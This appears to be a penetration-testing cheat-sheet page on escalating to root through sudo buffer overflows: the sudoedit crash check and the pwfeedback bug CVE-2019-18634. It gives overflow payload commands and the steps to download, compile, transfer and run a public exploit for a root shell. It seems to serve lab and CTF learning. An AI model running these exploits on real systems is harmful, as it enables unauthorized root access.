Buffer Overflow Privilege Escalation
Buffer overflow in Linux might be vulnerable to privilege escalation (PrivEsc).
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
Copied!There are various PoC online.
If so, when running sudo command and inputting password, asterisk will be displayed. You can make it the buffer overflow.
cat /etc/sudoers
# -------------------------------------------
...
Defaults pwfeadback
...
Copied!perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
# [sudo] password for tryhackme: Segmentation fault
Copied!wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c
gcc -o exploit exploit.c
Copied!# In local machine
python3 -m http.server 8000
# In remote machine
wget http://<local-ip>:8000/exploit
Copied!After that, you'll get a root shell.
chmod 700 ./exploit
./exploitLast updated

